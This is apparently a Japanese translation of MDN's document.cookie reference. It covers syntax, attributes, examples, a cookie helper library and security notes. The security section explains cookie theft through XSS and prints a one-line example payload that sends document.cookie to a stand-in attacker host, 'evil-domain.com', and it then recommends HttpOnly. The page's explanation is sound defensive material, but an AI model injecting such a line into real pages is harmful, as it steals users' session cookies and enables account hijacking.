現在のドキュメントでのCookieの取得と設定を行います。

• 文法
• 例
• Cookieの小型フレームワーク例
• セキュリティ
• 注意事項
• 仕様
• ブラウザ互換性
• 関連項目

文法

allCookies = document.cookie;

allCookiesは、セミコロン区切りのCookieのリストを含む文字列になります。(key=valueのペア)

document.cookie = updatedCookie;

updatedCookieは、key=valueの文字列になります。 このメソッドで、一度に設定・更新が出来るのは単一のCookieであることに注意してください。

• 下記のCookie属性値の幾つかは、必要に応じてkey-valueペア、Cookieの設定・更新のための指定、 先頭のセミコロン区切りの形式に従います。

  • ;path=path(例: '/', '/mydir')
    もし指定されていない場合は、デフォルトは現在のドキュメントのパスになります。
  • ;domain=domain(例:'example.com'、'.example.com'(全てのサブドメインを含む)、'subdomain.example.com')
    もし指定されていない場合は、デフォルトは現在のドキュメントのホスト部分になります。
  • ;max-age=max-age-in-seconds(例: 60*60*24*365 (1年間))
  • ;expires=date-in-GMTString-format
    もし指定されていない場合は、セッション終了時に期限切れとなります。 この値の形式については、Date.toUTCString()を参照してください。
  • ;secure(HTTPSとして、セキュアなプロトコル越しでのみ通信するCookie)
• Cookie値の文字列は、encodeURIComponent()を使用して、 確実にカンマ、セミコロン、または空白(これらはCookie値として許可されていません)を含まない文字列にすることが可能です。

注意: Gecko 6.0以前では、クォートを使用したパスは、実際のパス文字列を囲む区切りとしてでは無く、 文字列の一部として扱われていました。これは、修正済みです。

例

例1: シンプルな使用方法

document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
alert(document.cookie);
// 表示: name=oeschger;favorite_food=tripe

例2: test2という名前のCookieを取得

document.cookie = "test1=Hello";
document.cookie = "test2=World";

var myCookie = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");

alert(myCookie);
// 表示: World

例3: 一度だけ処理を行う関数の作成例

function executeOnce () {
  var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string";
  if (bImplGlob) { argc++; }
  if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); }
  var fExec = arguments[0], sKey = arguments[argc - 2];
  if (typeof fExec !== "function") { throw new TypeError("executeOnce - first argument must be a function"); }
  if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { throw new TypeError("executeOnce - invalid identifier"); }
  if (unescape(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) === "1") { return false; }
  fExec.apply(argc > 3 ? arguments[1] : null, argc > 4 ? Array.prototype.slice.call(arguments, 2, argc - 2) : []);
  document.cookie = escape(sKey) + "=1; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=" + ((bImplGlob ? false : arguments[argc - 1]) ? location.pathname : "/");
  return true;
}

文法

executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere])

説明

ページのリフレッシュ後でも、関数を一度だけ実行します。

引数	説明
callback	(必須) 実行する関数を指定します。
thisObject	(任意) thisオブジェクトを指定します。(objectまたはnull)
argumentToPass1, argumentToPass2, argumentToPassN	(任意) コールバック関数の引数を指定します。
identifier	(必須) 確認する識別名、つまりCookieの名前(文字列)を指定します。
onlyHere	(任意) このCookieをローカルパス(true)で使用するか、グローバルに使用する(falseまたはundefined)かを真偽値で指定します。

使用例

function alertSomething (sMsg) {
  alert(sMsg);
}

executeOnce(alertSomething, null, "Hello world!!!!", "alert_something");

例3’:一度だけ処理を行う関数の作成例(シンプルなコード)

下記のコードを使用するには、someCookieName(Cookie名)の単語を、任意の名前に置き換えてください。

if (document.cookie.replace(/(?:(?:^|.*;\s*)someCookieName\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
  alert("Do something here!");
  document.cookie = "someCookieName=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";
}

Cookieの小型フレームワーク例

ユニコード全般をサポートする、Cookieリーダー/ライターです。

/*\
|*|
|*|  :: cookies.js ::
|*|
|*|  ユニコード全般をサポートする、Cookieリーダー/ライターです。
|*|
|*|  https://developer.mozilla.org/en-US/docs/DOM/document.cookie
|*|
|*|  This framework is released under the GNU Public License, version 3 or later.
|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
|*|
|*|  文法:
|*|
|*|  * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
|*|  * docCookies.getItem(name)
|*|  * docCookies.removeItem(name[, path], domain)
|*|  * docCookies.hasItem(name)
|*|  * docCookies.keys()
|*|
\*/

var docCookies = {
  getItem: function (sKey) {
    return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
  },
  setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
    if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; }
    var sExpires = "";
    if (vEnd) {
      switch (vEnd.constructor) {
        case Number:
          sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd;
          break;
        case String:
          sExpires = "; expires=" + vEnd;
          break;
        case Date:
          sExpires = "; expires=" + vEnd.toUTCString();
          break;
      }
    }
    document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");
    return true;
  },
  removeItem: function (sKey, sPath, sDomain) {
    if (!sKey || !this.hasItem(sKey)) { return false; }
    document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + ( sDomain ? "; domain=" + sDomain : "") + ( sPath ? "; path=" + sPath : "");
    return true;
  },
  hasItem: function (sKey) {
    return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
  },
  keys: /* optional method: you can safely remove it! */ function () {
    var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
    for (var nIdx = 0; nIdx < aKeys.length; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); }
    return aKeys;
  }
};

注意: 期限切れの内Cookieとするために、独自にFri, 31 Dec 9999 23:59:59 GMTを使用します。 このような日付を幾つかの理由から懸念するのであれば、 慣例的に世界の最後の日付とされている19 Jan 2038 03:14:07 GMTを使用してください。 (1 January 1970 00:00:00 UTC(世界協定時 - 1970年1月1日 0時0分0秒)からの経過を、 32ビットintegerで表現出来る最大数 - つまり01111111111111111111111111111111、new Date(0x7fffffff * 1e3)

Cookieの書き込み

文法

docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])

説明

Cookieの作成、上書きを行います。

引数	説明
name	(必須) 型：string 作成/上書きを行うCookieの名前を指定します。
value	(必須) 型：string Cookieの値を指定します。
end	(任意) 型：number、Infinity、string、Date、null 秒数の最大値(例: 1年であれば31536e3、Cookie期限無しであればInfinity)、 または期限日のGMTStringフォーマット、またはDateオブジェクトを指定し、 もし指定されなければ、そのセッション限りとします。
path	(任意) 型：string、null 例えば、"/"、"/mydir"を指定します。 もし指定されなかった場合、デフォルトで現在の場所のパスが指定されます。
domain	(任意) 型：string、null 例えば、"example.com"、".example.com"(全サブドメインを含む)、"subdomain.example.com"等を指定します。 もし指定されなかった場合は、デフォルトで現在の場所のホスト部分が指定されます。
secure	(任意) 型：boolean、null CookieをHTTPSとして安全なプロトコル越しでのみ通信を行うか否かを指定します。

Cookieの取得

文法

docCookies.getItem(name)

説明

Cookieを読み取ります。 もしそのCookieが存在しなければ、null値が返されます。

引数	説明
name	型：string 読み取りをするCookieの名前を指定します。

Cookieの削除

文法

docCookies.removeItem(name[, path],domain)

Cookieを削除します。

引数	説明
name	型：string 削除するCookieの名前を指定します。
path	(任意) 型：string、null 例えば、"/"、"/mydir"等を指定します。 もし指定されない場合は、デフォルトで現在のパスを指定します。
domain	(任意) 型：string、null 例えば、"example.com"、".example.com"(全サブドメインを含む)、"subdomain.example.com"等を指定します。 もし指定されなかった場合は、デフォルトで現在の場所のホスト部分が指定されます。

Cookieの確認

文法

docCookies.hasItem(name)

Cookieが存在するかを確認します。

引数	説明
name	型：string 確認するCookieの名前を指定します。

全てのCookieのリストを取得

文法

docCookies.keys()

現在の場所から読み込み可能な全てのCookieを配列で返します。

使用例

docCookies.setItem("test0", "Hello world!");
docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity);
docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
docCookies.setItem("test4", "Hello world!", "Sun, 06 Nov 2022 21:43:15 GMT");
docCookies.setItem("test5", "Hello world!", "Tue, 06 Dec 2022 13:11:07 GMT", "/home");
docCookies.setItem("test6", "Hello world!", 150);
docCookies.setItem("test7", "Hello world!", 245, "/content");
docCookies.setItem("test8", "Hello world!", null, null, "example.com");
docCookies.setItem("test9", "Hello world!", null, null, null, true);
docCookies.setItem("test1;=", "Safe character test;=", Infinity);

alert(docCookies.keys().join("\n"));
alert(docCookies.getItem("test1"));
alert(docCookies.getItem("test5"));
docCookies.removeItem("test1");
docCookies.removeItem("test5", "/home");
alert(docCookies.getItem("test1"));
alert(docCookies.getItem("test5"));
alert(docCookies.getItem("unexistingCookie"));
alert(docCookies.getItem());
alert(docCookies.getItem("test1;="));

セキュリティ

パス制限は、異なるパスからのCookieの不正な読み取りに対して保護しない事に注意してください。 この制限は、単純なDOMにより簡単に回避する事が可能です。 (例えば、Cookieのパスで隠しiframe要素を作成し、 このidrameのcontentDocument.cookieプロパティにアクセスします。) Cookieアクセスを保護する唯一の方法は、異なるドメインまたはサブメインによる、 同一生成元ポリシーを使用することです。

Cookieは多くの場合、ユーザーとその認証セッションを識別するために、Webアプリケーションで使用されます。 そのため、WebアプリケーションからCookieが盗まれることは、ユーザーのセッション認証をハイジャックされることに繋がります。 一般的なCookie盗聴には、ソーシャルエンジニアリングやアプリケーションのXSS脆弱性を悪用する方法などが含まれます。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HTTPOnlyのCookie属性は、JavaScriptを通してCookie値にアクセスする攻撃を防ぐ手助けになります。 詳細は、 Cookies and Securityを参照してください。

注意事項

• Firefox 2からは、より良い仕組みである、クライアントストレージ(WHATWG DOM Storage)が利用可能です。
• 単純にCookieの期限を0にすることで、Cookieを削除することが可能です。
• より多くのCookieを持てばより多くのCookieデータが、各リクエスト毎にサーバーとクライアント間で通信される事に注意してください。 これは各リクエストを遅くしてしまいます。 もし"クライアントのみ"のデータを保持したいのであれば、WHATWG DOM Storageを使用することを強くお勧めします。

仕様

ブラウザ互換性

デスクトップ

機能	Chrome	Firefox (Gecko)	IE	Opera	Safari
基本	◯	◯	◯	◯	◯

モバイル

機能	Android	Chrome for Android	Firefox Mobile	IE Mobile	Opera Mobile	Safari Mobile
基本	◯	◯	◯	◯	◯	◯

関連項目

• HTTP cookies
• DOM Storage
• URLUtils.pathname
• Date.toUTCString()
• HTTP
• Cookies (code snippets)
• RFC 2965

 Back to top